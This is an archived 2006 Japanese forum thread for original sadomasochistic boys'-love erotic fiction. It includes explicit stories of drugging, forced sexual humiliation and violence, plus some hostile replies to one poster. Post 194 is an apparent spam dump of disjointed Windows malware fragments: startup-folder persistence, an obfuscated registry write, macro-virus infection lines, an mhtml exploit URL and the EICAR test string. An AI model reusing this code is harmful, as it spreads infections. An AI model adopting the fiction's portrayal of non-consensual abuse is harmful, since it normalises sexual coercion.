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【陵辱】鬼畜作品を創作して19thプレイ【SM】



1 名前:風と木の名無しさん mailto:sage [2006/10/29(日) 02:04:48 ID:wo55MY790]
読みきりでもリレー小説でもいいのでここに書いて下さい。
H描写のみも可。神の降臨、お待ちしてます。

●SS書きの方への注意
・スカトロ、フィスト、切断等のハードプレイは名前欄にその旨を記入する事。
 数レスに渡る作品の場合は、その描写のあるレスすべてに、
 内容の注意書きを直前に入れて数行改行後に投下して下さい。
 (IEブラウザや専用ブラウザなど様々な環境の方がいます!)
・保管の都合上獣姦は扱わない事。(擬人化風味はオケー)
・続き物の場合、簡素な物で構わないのでシリーズ名を書き添える事。
・投下終了の場合それとわかるように明記する
・SS投下時、感想へのレス以外の雑談は名無し推奨
・二次創作、ナマモノは投下厳禁。投下主自身が書いたオリジナルのみ投下する事
・作者が許可しない限り、過去の投下作品のパロディ化は原則禁止です

●スレ住人心得
・叩きや煽りには絡まない
・肌に合わないSS、レスはスルーの方向で
・SS投下時は仮でいいからコテハンで
  (※どうしても合わない人がとばせるように)
・特殊なプレイはなるべく注意書きをいれる
  (具体的にネタバレせずとも「濃いめアリ」とか)
・住人をネタにしたSSもどきを禁止

まとめサイト ttp://red.ribbon.to/~yaoi/
まとめサイト@携帯 red.ribbon.to/~yaoi/i/

☆次スレは950で。立てられない方は前後の書き込みを自粛してください。
☆それ以前に容量オーバーしそうな時は490KB辺りでスレ立てをお願いします

188 名前:風と木の名無しさん mailto:sage [2006/11/06(月) 22:41:27 ID:w5n6i+71O]
自分、荒らしかもしれない…orz
二日にわたり、ご迷惑をおかけし、
深く反省しております。なにとぞご容赦ください。
不本意ながら絡んでしまった書き手の皆さま、
お詫びの申し上げようもございません。
久しぶりの外と2chにはしゃぎすぎました。
ラーゲルに帰ります。

189 名前:風と木の名無しさん mailto:sage [2006/11/06(月) 23:18:03 ID:MTOBJAWH0]
>188
客観的に見て自分が荒らし「かもしれない」
としか思えないようならラーゲルとやらにとっとと帰ったほうがいいだろうね
「かもしれない」ではなく、ただの荒らしだからwwwww


本当に悪いと思ったら黙って去るものだ
かまって欲しそうだったからかまってやったよ

190 名前:風と木の名無しさん mailto:sage [2006/11/06(月) 23:41:02 ID:w5n6i+71O]
ありがとうございました。
本当にありがとうございます。

191 名前:風と木の名無しさん mailto:sage [2006/11/06(月) 23:45:25 ID:Uj1aG8ejO]
>>188
いっちゃうのか…ここの住人厳しいからな…笑ってやり過ごせばいいのにさ…

192 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 00:06:24 ID:EI2JJhdd0]
シャレで済むレベルなら笑ってやり過ごしますが何か。

193 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 00:10:06 ID:oTjuMnYg0]
>191
去ると予告する基地外厨は、必ず戻ってくる法則
ここでかまってもらえると味をしめたようだから心配しなくても
また舞い戻ってくるだろうよ…

塚、投下者にパクリだのなんだの暴言を吐いて
風向きが悪くなると病気(?)を理由に逃走かよ
甘えすぎだ
ID:w5n6i+71Oの私生活なんざどうでもいいわけなんだが

194 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 00:23:41 ID:977a4Ifz0]
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

195 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 01:53:55 ID:o6FWo8EDO]
無知は罪。悪気が無いほどタチが悪いものはない。
という理由から、つまらんものは読まんとです。
主観以前の問題です。

196 名前:あさぼらけ mailto:sage [2006/11/07(火) 02:09:34 ID:djQ5GRhlO]
前スレに投下した話の結末です。
エロなし・血の描写あり。文体変えています。


御牢番は牢の掃除をしていた。真っ昼間、この牢に居た囚人が死んだ。
朝な夕なの拷問に身体が、持たなかったのだろう。
囚人が使っていた寝床がわりの湿ったワラには、べっとりと
赤茶けた血が着いていた。
囚人は毎日、刑部省の者に杖で背を打たれていた。
裂けた肉から赤身を覗かせ、傷が癒える間もなくまた、杖を受け、
囚人の背中はいつも汚血にまみれ膿んでいた。
牢番は、「昨夜の夕げの碗に入っていた、向こうが透けて見えるほど薄い白い大根を箸でつまみ、
朝の月のようだと遠い目をして呟いていた囚人の横顔」を思い出した。
帝のお怒りをかう前は、そのご寵愛を一身に受けていただけあり、
囚人の容姿は、拷問で病み衰えても、この世の者とは思えぬほど美しかった。
それもそのはず。囚人は月の都の者だ。
けれども、いつか、いつか、と見上げていた恋しい月には帰れぬまま、
囚人は下界で朽ち果てた。            了



197 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 02:22:04 ID:QDEJxB45O]
あさぼらけ乙。
前スレと同じ人なのかは、文才無しの私にはわからない。
でも、そんな詮索はどうでも良いくらい好みの文だよ。
寂寥感?救いがないのがイイヨー。

198 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 07:27:54 ID:Kdh+DIJPO]
あさぼらけタン乙。
どうなるんだ?
それともこれで終了?

199 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 12:37:33 ID:xjJYu38L0]


と書いてあるよ

200 名前:A dog and his lord mailto:sage [2006/11/07(火) 13:11:17 ID:UeIE62hP0]
投下中断してすみませんでした。
長めに投下します。
明日投下分で終わりです。


201 名前:A dog and his lord 17 mailto:sage [2006/11/07(火) 13:13:27 ID:UeIE62hP0]
前々スレ>>79のつづき

散々待たされて招き入れられたトレーニングルーム。
ドアが開いた途端、耳に入ってきたのはジュンのすすり泣きだった。
いや、すすり泣きと言うより泣きがれた嗚咽、止まらないしゃくり上げか。
ジュンは、先日と同様ご主人様の上に座らされ、背後からゆったりと抱きかかえられていた。
うつむいてうなじをさらし、華奢な肩を揺らして喘いでいる。
「残念だったな、ダン」
ジュンの姿と声に気をとられて突っ立っている僕を鼻で笑うように、ご主人様が楽しげに仰る。
「ジュンはお前の口より自分の右手の方がいいそうだ」
今度は壁面の大鏡――おそらくはそこに映るジュンに視線を移されると、
ジュンはハッとして顔を上げ、右手の動きを大きくした。
「そうだ、さぼるなよ。それに鏡から目を離すんじゃない」
ジュンは泣きながらも、まっすぐ前を向き鏡の中の一点を見つめる。
その先にあるのはご主人様の目か、あるいはご主人様に貫かれながら自らの手淫に興奮する自身の姿か。
あくまで愛らしく甘えて媚びる常のジュンからは考えられない姿だ。
きっと、ジュンもご主人様を僕に奪われまいと必死なのだ。
ジュンの努力は完全に成功しているように見えた。
鏡の中で見つめ合うご主人様とジュン。もう僕などはいないと同じだ。
ならば、何のために僕はここに連れてこられたのだろう?
ご主人様とジュンの時間を、世界を見せつけられるためか。


202 名前:A dog and his lord 18 mailto:sage [2006/11/07(火) 13:14:14 ID:UeIE62hP0]
「私のために自分を磨くのだろう? いいか、顔は愛らしく、そこはいやらしく、後ろは敏感にだ」
鏡の中のジュンに向かって囁くように仰りながら、ご主人様の腰も揺れる。
「そうだ、もっと刺激しろ」
またうつむきかけたジュンの髪を掴んで顔を上げさせ、更にもう一方の手指を2本しゃぶらせる。
「んくぅっ…………、ぅ……ん」
返事よろしく甘ったるい鼻声を発し、くちゅくちゅとご主人様の指をしゃぶりながら、
ジュンは右手を加速した。目を閉じ、鼻筋を上げ、恍惚とした表情を浮かべて。
「ジュン」
なんと、ご主人様に呼ばれても気づかないほど没頭している。
「ジュン、手を離しなさい」
その態度は当然主人様に咎められた。
「その手は何のためにそこにあるんだ? あ? 
 私を楽しませるためか? それとも自分が気持ちよくなるためか?」
ジュンを相手にいつになく厳しい叱責だ。
「ぁ……」
ジュンはそろそろと右手を引っ込めるが、ご主人様は見逃してなど下さらない。
「答えなさい、何のためだ」
「……ご、主人様……に、楽しんで……頂くため……です」
「ほぉ、心にもないことを言う口だな。今の今まで私の楽しみなど微塵も頭になかったではないか」
ご主人様の大きな御手がジュンのペニスを握りしめた。
「お前の頭にあったのは、ここを気持ちよくすることだけだ」
感じてなのか怯えてなのかピクンとジュンの身体がはねる。
「イキたい、イキたい、イキたい、それしか考えていなかったんだろうが。違うか?」
仰るとおりだ。僕にもそうとしか見えなかった。ほうら、ジュンは答えられない。
「違うか?」
ご主人様が更に厳しい口調で繰り返されると、
ジュンはそれでも答えられずにただ頭を横に振りながら泣くばかり。
今日のご主人様は、いつにましてご機嫌がよろしくないのかもしれない。
いよいよ僕の出番だと思った。
僕はご主人様のお声を今か今かと待っていた。
しかし――


203 名前:A dog and his lord 19 mailto:sage [2006/11/07(火) 13:15:10 ID:UeIE62hP0]
ご主人様の怒りの矛先は、ここに控える僕ではなく直接ジュンに向けられた。
泣き続けるジュンを長椅子に転がし、脚を掴んで持ち上げた小さな尻を一気に深く貫くと、
普段の扱いからは考えられないほど激しく攻め立てられた。
キーキーとやかましくジュンが泣き叫ぶ。
「うるさい、そうして一日中泣き喚くつもりか。お前のかなぎり声はたくさんだ」
ご主人様のお言葉は、当のジュンばかりか僕までもひどく落ち込ませた。
ご主人様はジュンを泣かせることに飽きてしまわれたのだ。
同時に、久々に巡ってきた僕の出番も潰えたということだ。
ご主人様は、まるで間に合わせのようにジュンの尻を使われると、
ジュンを長椅子から退かせて、ご自分はシャワールームに行ってしまわれた。
残された負け犬二匹。
今日ばかりは、ご主人様のご不興を買ったジュンを、いい気味と嘲る気にもなれない。
執事がテキパキとジュンの身体を拭き上げ、僕たちは犬舎に戻される。
僕も、そして多分ジュンも、全く見えなくなった未来への不安におののいていた。
ジュンからご主人様を奪い取ろうと画策した僕。
そして、その僕の企みを退けようと常にない振る舞いをしたジュン。
結局僕たちは揃ってしくじったのだ。

その日、ご主人様は犬舎に近づこうともなさらなかった。
ジュンは一日中そわそわと落ち着かず、メソメソべそをかき、時に声を上げて泣き喚く。
僕はといえば、さすがに慣れた状況とはいえ、
久々に心躍った企みの頓挫にすっかり気落ちしてしまっていた。
そんな中、唯一リューだけがいつもと変わらず優雅にゆったりと過ごしているのが鼻につく。
ご主人様の関心がリューに移るのではないか、そんな予感がした。


204 名前:A dog and his lord 20 mailto:sage [2006/11/07(火) 13:15:55 ID:UeIE62hP0]
僕の勘は間違ってはいなかった。
その後2日ばかり僕たちにお呼びはなかったが、
3日目の朝、執事が犬舎から連れ出したのはやはりリューだったのだ。
そして、リューは丸3日戻って来なかった。
ご主人様は僕とジュンの醜い争いに気づいてしまわれたのだ。
そんな僕たちに嫌気がさし、穏やかなリューをお側に置いておられるのだ。
僕の中でリューへの嫉妬心が色濃く、どす黒く渦巻き始めた。
嫉妬心が生む妄想が次から次へと湧き上がってくる。
ご主人様の横にゆったりと横たわるリュー。
ゆるくウェーブのかかった金髪をなぜて頂き、優美にたわんだ背をなぜて頂き、
青い瞳をのぞき込んで、うっとりと接吻まで頂く。
リューはあの細い指でご主人様にご奉仕するのか、あるいはあの赤く艶めかしい口で……
ご主人様は、リューの綺麗な肢体がお気に入りだ。
きっと真っ白なシーツの上に横たえ、全身くまなく愛されるのだ。
いや、ご自分の上に乗せて優雅に踊り悶える様を愛でられるのかもしれない。
リューの白い肌は、ご主人様に愛されるとピンク色に染まる。
ご主人様は常々、それが一番の魅力と仰っていた。
僕は一度だけご主人様に抱かれピンクに染まるリューを目の当たりにしたことがあった。
肌をピンクに染めながらリューはうっとりと目を閉じ、赤い唇の隙間からふぅと吐息を漏らす。
その様は、美しく造られた造形が溶けていくように見えるのだ。
美しいリュー。優雅で穏やかな気性のリュー。
決してご主人様にご不快な思いなどさせないリュー。
嫉妬に燃える僕と若く血気盛んなジュンの振る舞いに嫌気のさしたご主人様は、
今、リューのような犬をお求めなのだ。
3日の間、僕は、ご主人様の腕の中でピンク色に染まっていくリューの姿を幾度も幾度も思い描き、
嫉妬と後悔に身を捩っていた。
ご主人様は、僕たちにはお姿さえ見せては下さらない。
僕の心はきしんできしんで壊れそうに痛んだ。
ジュンが隣で同じ思いを抱え苦しんでいるのだという確信がなければ、
犬舎を抜けだして屋敷中ご主人様を探しまわったかもしれない。


205 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 13:22:15 ID:OvmfW3YiO]
支援

206 名前:A dog and his lord 21 mailto:sage [2006/11/07(火) 13:22:42 ID:UeIE62hP0]
しかし3日間の思いをぶつけようと待ちかまえていたリューは――
犬舎に戻ってきたリューは、一見いつもと変わらず静かに落ち着いていた。
が、何かが違った。疲れなのか、気持ちが沈んでいるのか、明らかに容色が落ちていた。
まさかご主人様は、ご不満をリューにまでぶつけられたのだろうか。
美しさを愛でるのではなく、不満をぶつけるものをお求めなら、ここに僕がいるのに。
僕を心ゆくまで折檻して憂さを晴らして下さればよいのに。
しかし、相変わらずお姿を見せて下さらないご主人様には、訴える術もない。
リューが戻ってきてからまた何日か、僕たちは揃ってお呼びもなく放置された。
ご主人様は、犬に飽きてしまわれたのでは……
僕はそんな心配さえ抱き始めていた。
もう幾日、ご主人様のお姿を拝していないだろう。
最後にお言葉を頂いてから何日経つだろう。
折檻の痛みの記憶さえ、あざと一緒に消えかけている。
しかし、これまでだって僕は見向かれず、犬舎でひたすら待つ日々を過ごしてきたのだ。
リューが明らかに気落ちし、ジュンにいたっては始終メソメソ泣き続ける中、
こんな時こそ僕が「頑丈な犬」をアピールしなければ。
その思いが僕を支えていた。
しかし、そんな支えはあっさりとへし折られた。
ご主人様は、もう頑丈な犬など必要とされていないのだ。




207 名前:A dog and his lord 21 mailto:sage [2006/11/07(火) 13:24:21 ID:UeIE62hP0]
その朝、朝の身繕いが終わろうという頃、執事がやって来た。
「リュー、ジュン、ご主人様のお食事のお相手だ」
何と呼ばれたのは2匹。僕を除いた2匹。
ご主人様は僕だけを避けられているのだ。
放心して呆然となったまま執事に連れられていく2匹を見送る。
随分と長い間、僕はそのまま身動きもできずにいた。
ハタと気が付けば、がらんとした犬舎にただ1匹。見捨てられた犬がただ1匹。
それでも微かな希望に縋って部屋の扉をじっと見つめ、開け開けと懸命に念じてみる。
しかし、何十分後か、何時間後かには、無意味な希望は僕を更に打ちのめしただけだ。
不安とか、悲しいとか、そんなレベルではない、訳のわからない激しい感情が一気にあふれ出した。
僕はご主人様に捨てられる。僕はご主人様に捨てられる。捨てられた。捨てられた。捨てられた……
「ご主人様! ご主人様! ご主人様ーーーっ!」
大声で喚きながら犬舎中暴れ回り、そして、いつしか犬舎を抜け出し部屋も抜け出して……


208 名前:A dog and his lord 23 mailto:sage [2006/11/07(火) 13:25:11 ID:UeIE62hP0]
食堂はとうに片づけられていた。
トレーニングルームは真っ暗だ。
庭に出ようとしたが、雨が降っている。
屋敷内をむやみに走り回った末、もしやと思い寝室に向かう。
まさか昼閧ゥらベッドで犬と戯れたりなさらないだろう思ったが、恐る恐るドアを開けてみた。
ドアの隙間から覗く寝室、真正面にあったのは蠢く二つの裸体。
リューとジュンだと直感した。いや、確信だった。
僕は寝室に飛び込むと、一目散にそこを目指した。
何も考えてなどいなかった。ただ悲しかった。
それをどこかにぶつけずにはいられなかっただけだ。
手近にあったものを無意識に手に取る。
後でわかったが、それはご主人様のステッキだった。
僕はそれを高く掲げた。振り下ろす先はすぐそこにある背中のどちらかだ。
「ダンッ! やめるんだっ!」
ご主人様のお声。うれしいけれど、悲しみは埋まらない。
誰かが僕の腕を掴んだ。肘を見舞って振り払う。
じゃまなんかさせない。このまま捨てられるものか。
ご主人様お気に入りの犬たちを傷つけたら、殺してやったら、
ご主人様は僕を折檻して下さるだろうか。
いや、殺されたとしても捨てられるより余程いい。
なおも腕を押さえようとする手を押し退け、僕は渾身の力を込めてステッキを振り下ろした。
振り下ろしたつもりが、すんでのところで首筋に激痛が走り、
僕はへなへなと前に倒れ込んでしまった。
意識が遠のく。
ステッキが力なく何かを打った衝撃だけは辛うじて記憶に残っていた。


209 名前:A dog and his lord mailto:sage [2006/11/07(火) 13:27:16 ID:UeIE62hP0]
本日ここまで。
ナンバリング失敗。21が2つになってます。

210 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 13:29:56 ID:37P/brCF0]
>>204
his hardと一瞬読めた。
乙。
ダンが憐れで面白かったです。

211 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 14:30:23 ID:l0XPbb720]
待っていました、ダンとご主人様。
なんかもうダンのすることはすべて裏目に出て…
ストーカー的愛情は怖いけど、ダンをそんなにしたのはご主人様だからな…。
続きwktkです。

212 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 17:45:18 ID:MDRSaOIZ0]
乙でした
ダンがこれからどうなるのか・・・
続き待ってます

213 名前:リレー mailto:sage [2006/11/07(火) 22:20:39 ID:djQ5GRhlO]
日の出と共に含まされた御禁制の薬は、とっぷりと日が暮れた今もなお、
侍の股ぐらを苛んでいる。朝も早よから夜更けまで、侍は男根を屹立させ、
全裸で苦しんでいた。子種を吐き出すに足る快の感は、
確かにもたらされているのに、激情は侍の股を駆け巡るのみ。
逝きたくて逝きたくて堪らない。脂汗を滲ませながら侍は、己を慰めようと
猛りを扱いた。必死に扱いた。恥も外聞も武士の誇りも捨て、
猿の如く千擦りに耽った。けれど、弾ける事はできず、嵐は吹き荒れ、
侍の男根は前にも増して、猛り狂っていた。
羞恥と屈辱に肌を染め、侍は熱く焼ける眼から泪を流しながら、
両の手で男根を握り締め、くの字で悶え悶え膝を擦り合わせた。
ただ、子種を放ちたい。それだけが、侍の望みだった。
夜明けから日暮れまで。余りにも長い間、強いられ続けている絶頂の悦びは、
苦痛に姿を変えて久しい。限界だった。
先走りのみが、筋になって男根の頂きから流れ落ち、侍の下生えを湿らし、ふぐりを濡らした。

…みたいな感じで、エロ場面メインのリレーをしませんか??
ベースは、したらば雑談220と222です。
誇り高い侍が、801薬で220と222状態になっちゃったという設定で
書き始めてみました…orz

214 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 23:16:38 ID:0MYc29f50]
>>213
お一人でどうぞ

215 名前:リレー mailto:sage [2006/11/07(火) 23:21:05 ID:dow71Jg10]
>213の続きを勝手に続けてみる。設定は同じレスより。

侍はまだ若かった。
元服などはとうに済み、初陣の記憶も薄れる程度に歳を取ってはいたが、
街行く見目麗しい娘に見惚れたり、あらぬ疼きを抱いてしまう程度の落ち着きのなさがあった。
男女や男同士の交わりを見知り遊び方も多少慣れてはいたが、あくまで遊び程度で。
このような身を焦がす欲望も、蕩けさせられる屈辱も、満たされない切なさも、
その薬を盛った相手ほどには知らなかった。

畳の上をのた打ち回る内に、ぴしりと整えられていた着物はしわを作り、
やがて見えざる手で脱がされたように解け、やがてその身から薄皮のように剥げた。
ほぐれて具合の良くなった布の上は、いつも見につけているときとは一味違った感覚をもたらす。
敏感にさせられたあらゆる場所の皮膚を舐めるようにまつわりついて、離れない。
体の重みに引き摺られて温まった部分は安堵するような――例えて言うなら、
掌全体でなぜられているような錯覚を引き起こす。
逆に久方ぶりに皮膚に触れた冷たい衣は、引き攣るような鋭い刺激を与える。
そして時々触れる畳は硬く、ざらりとしていて、緩慢な刺激に慣れた意識をぎくりと現実に引き戻す。

涙を流しながらも取り戻した意識が、何時の間にか満ちた夜気を捕らえた。
丸窓が半ば空いていて、薄ら寒い空が覗いている。
――冬の初めの、つんと香るような満月が、自分の肌を鋭く刺すようだ。

お前まで私を憎むのか。ここまで私を高ぶらせておいて、そして高みから私を見下してせせら笑うのか。
恨み言を垂れ流しても、届かない。月まで、或いは彼まで届く力強い声は、もう侍には出せそうに無かった。

216 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 23:23:35 ID:EEvz+f690]
リレーをしたいのならば、
せめて万人受けする文体で書いてくれ




217 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 23:23:42 ID:djQ5GRhlO]
独りではしゃぎ過ぎました……。
スレ汚し申し訳ありません。


218 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 23:27:41 ID:1W8r4uAz0]
どんまいける

219 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 23:44:06 ID:E5B5gVv50]
どどんまい!

220 名前:リレー mailto:sage [2006/11/07(火) 23:53:53 ID:zeKOiUCT0]
「お加減はいかがかな」
静かな声にハッと顔を上げれば、そこには朝から何度呪ったかわからない
従兄弟の姿があった。
「……良いと思うのか」
意に反して潤んでしまう目を、それでも精一杯にきつく歪めて、
侍は従兄弟の凛として涼やかな顔を睨みつけた。
もし刀がこの手にあれば、斬って捨てようものを!
歯噛みしたところで、物の具はもちろんのこと
下帯までを取り上げられた自分に何ができようか。
まして、梁から下がる綱に右の足首を縛められている今、
できることはまさに、睨み付けるか呪詛を吐くかくらいなのだ。
「艶っぽい声を上げて、ずいぶんと楽しんでおられると
見張りの者からは報告を受けておりますが…」
従兄弟は足音もせぬほど静かに、侍の側へと寄ってくる。
「貴様が…!」
侍が唸り声を上げてつかみかかろうとした。
従兄弟はかすかに身構える素振りを見せたが、侍の手が届くよりも先に、
侍を捕えて打ちひしぐものがあった。
「あ、ああっ、あぐ…!」
身の内から侍を捉えたそれは、立ち上ろうとした脚から力を奪い、
従兄弟に伸ばしたはずの手が股間へと向かった。
突き上げる熱に耐え兼ねて、侍は身を折り、蛇のようにのたうった。
月のように冴え冴えとした従兄弟の視線にさらされ、羞恥はまさに身を焼くほどだ。
「見るな…このような姿を見るな…!」
絞り出した声は掠れ、命じるには程遠く、懇願でしかない。
従兄弟は声もなく笑うと、侍の傍らに膝をついた。
「――ああ、苦しそうだ。それでも……ふふふ……楽しんでいると言うのは
間違いではないらしい。そうでなければこのようなことには……ね?」
従兄弟の指が、侍の手からはみ出した陰茎の先端を撫で擦る。
「やめろ、やめないかっ…!」
突き飛ばすことなどとてもかなわず、侍はただ肩を揺すって逃れようともがいた。
                  (時代小説風には書けませんでした。あとヨロ)

221 名前:風と木の名無しさん mailto:sage [2006/11/07(火) 23:56:42 ID:EI2JJhdd0]
>>216
いや、万人受けは無理だろう。
どんな文体でもダメな奴にはダメなんだろうし。
これはこれで趣があっていいんじゃね?

222 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 00:07:40 ID:Yxv7aoSS0]
だから、嫌なら読まなきゃいいだけのこと。
文句言う奴はアフォか荒らし。
相手にスンナ。

223 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 00:16:06 ID:CjOPvP2VO]
¨

224 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 00:16:37 ID:/xubIMXrO]
個人的に時代劇風味は大好物だから、この文体でOK。
荒らしが目を光らせてる中での投下は大変だと思うけど、がんがれ。

225 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 00:18:21 ID:CjOPvP2VO]
リレー選手の皆さま乙です!
wktkしながら続き待ってます。

226 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 00:25:29 ID:hwu14wf20]
むしろ投下者ごとに文体が変わっていくくらいのノリでもおもろいと思うお。
なわけで、続行ヨロ




227 名前:リレー mailto:sage [2006/11/08(水) 00:45:37 ID:0n8Xx9EE0]
ふいに従兄弟の手が止まった。従兄弟は左手で鼻をつまんで首を振った。
その目は先刻の欲情のにじんだものではなくて、多分に嘲笑を含んでいた。
「これはしたり。脇差の手入れはなされても、自前の刃の手入れはなさっていないようだ。
皮被りでらっしゃるならなおのこと、注意されるべきであろうに。ここまでカスを溜めておられるとは」
侍は怒りのあまり一瞬だけ身を焦がす劣情を忘れた。皮の件は年来、ひそかに侍が気にしていることだった。
「皮被りのなにが悪い!それがしは、元服してよりこのかた武士としての勤めを怠ったことはない。
朝の行水、鍛錬、乾布摩擦、乗馬は元旦にも親の葬式の日にも欠かしたことはない。
お前のような柔弱な輩にとやかく言われる筋合いはない。武士の価値は皮の一枚や二枚で決まるものか!」
従兄弟は肩をすくめて、涼やかに言い放った。
「武士、武士とやかましいことだ。今は太平の世。
脇差などより、自前の剣のほうがなにかと役に立つ。その程度のこともご存じなのいか。
鋼の刃は人を切ることしかできぬが、自前の刃は人に苦痛を与えることも快を与えることも思いのままであろうに」
平素から遊女たちにもてはやされる優顔は月光を受けて冷たく輝いていた。
思えば従兄弟は、すでに禄高は侍より上だった。侍は気を飲まれて黙りこくった。従兄弟はあごを撫でてひとりごちた。
「……良く見れば尻毛の手入れも悪い。伸び放題ではないか。いま少し見栄えの良い尻はこれ以外にもある」
あまりの暴言に侍は言葉も返せずに体を震わせてた。そのうちに、従兄弟は去ってしまった。
後には相変わらず陰茎を起立させて、身悶える侍だけが残された。
侍は陰茎を必死でさすった。先端からは絶え間なくしずくがこぼれていた。
けれど、収まらないのは陰茎だけではなかった。後孔はじくじくとうずき、乳首は硬くしこっていた。
侍の腕は二本、指は五本しかない。陰茎をさすれば後孔が切なく収縮し
後孔の淵をなぞれば、乳首が痛いくらいに張り詰めた。
侍は床に寝転がると乳首を畳に擦り付けながら、陰茎を左手で慰め
後孔を右手でなぞった。
(ああ、猫の手も借りたいとはこのことでござるか……)
侍は霞む頭の中で、従兄弟を追いやったことを後悔し始めた。

その時、表の扉が開く音がした。

228 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 02:37:27 ID:ZZEPO4anO]
あー、退屈・・・(´‥)

229 名前:リレー mailto:sage [2006/11/08(水) 11:44:11 ID:CjOPvP2VO]
侍は尻を高く掲げ、畳にしこった乳首を擦りつけながら、
後ろ手に伸ばした左手の中の指で、せつなく疼く後孔の淵まわりを慰めた。
右手は皮を纏った陰茎を握り締めている。
いかに太平の世とは云え、剣術は武士の心得。
日々、木刀を振るい鍛練を欠かしたことのない侍の掌はまめだらけだ。
亀頭まで被さった皮は、侍の陰茎をやさしく包み、荒れた掌が与える刺激を
心地よいさざ波に変え、皮を通して陰茎に伝えた。
常ならば握る手に強弱をつけ、皮を遅く早く上下すれば達する。
けれど御禁制の薬で高められている今宵は、来ているのに出ない。
惨めな先走りをぽたぽた畳に落としながら、侍は熱いほとばしりを請い身を焦がした。
躰が火照る。熱い。まるでたたら場にいる様だ。円い窓から、憎い従兄によく似た月が、
冴え冴えとした光を放ちながら自慰に耽る侍を見下ろし、
その冷ややかな眼差しに、侍は己の浅ましさを深く恥じた。
けれども股間を苛む疼きには耐えられず、
侍は突き刺さるような視線を身に受けながら、一心不乱に己を慰めた。
自慰に夢中になっていた侍は襖が開いたのに気が付かなかった。
盥を持った男が座敷に入って来てはじめて、侍は男に気が付いた。
知らない男だった。
男は侍の尻の向こうに座るや否や、「確かに手入れが悪い」と嗤い、
盥の中から剃刀と石鹸を取り出した。
まず、尻の毛。次いで、仰向けにされ陰の毛。
剃毛の羞恥と泡がもたらす快感に侍はよがり狂った。
毛の始末を終えた男は、侍の皮に包まれた陰茎を手荒に剥いた。
奥御殿の姫様のように隠れていた、亀頭が剥き出しになり、外気に触れる。
「千擦りの真は、皮を剥かねば味わえん。お前の自慰は皮と戯れているだけだ」
亀頭に泡を盛られ、指の腹で擦られ侍は顔を歪めた。
皮を剥かれた瞬間の激痛と恥辱を引きずっている身に加えられた責め苦は、
侍を奈落の底に突き落とした。男の指と泡が雁のくびれを執拗にまさぐる。
「珍粕がごっそり落ちたぞ。爽快だろう?」
卑猥な言葉に侍は横に首を振りながら、羞恥と屈辱と身を灼く射精感に身悶えた。
バトンお渡しします。

230 名前:風と木の名無しさん mailto:sage [2006/11/08(水) 12:21:29 ID:GPQVxTCO0]
なんか想像以上にすごい展開になってきたな

231 名前:リレー mailto:sage [2006/11/08(水) 13:26:18 ID:eYt8wIIp0]
武芸においては人後に落ちぬと自負する侍も、こと閨事に関しては未だ修行中と言って
差し支えがない。他者と交わるにしろ自ら慰めるにしろ、それは猛りを鎮めるために
行うものであった。抑え込もうと煽り立てようと鎮まることのない猛りは、
侍にとって、適わぬ相手に挑み続け、負け続けているようなものである。
侍の男根の先の、世に生まれたばかりの瑞々しい丸みは、恐怖に拍車をかけた。
かつて知らぬ類の疼きが腰を見舞うのだ。男の指先は、柔らかな泡を間に置いて、
そこを花びらが掠めるかのような動きでいらう。腰を押さえられただけで
動くことすらままならないのは、疲れのせいなのか、悦楽に逆らえぬからか。
睨み付けるはずの目は固く閉ざされ、最初こそ男を拒もうとした侍の指は、
今は寝具に食い込んで深い皺を作るばかりである。
「おう…おう…いかぬ、それはいかぬ…!」
言葉では拒んでも、腰は男の指に合わせて揺れる。熱い塊が体の底から
押し寄せ、侍を天空へと持ち上げる。だが、そこで弾けるはずの塊は、衰えを
知らずに膨れ上がるのだ。それをもう今日一日で侍は思い知っている。
「駄目じゃ、もう駄目じゃ! 手を放せ! もうこれ以上は無理じゃ!」
慌てて目を開き、侍はぎょっと身を竦ませた。そこに、いつの間にか従兄弟が
戻って来ていた。従兄弟だけではない、数人の武士たちも一緒である。

232 名前:リレー mailto:sage [2006/11/08(水) 13:27:05 ID:eYt8wIIp0]
見られていたのだと知り、侍の体がいっそうの熱さで燃え上がった。
「なんのためにそれがしをこのような目に合わせる!」
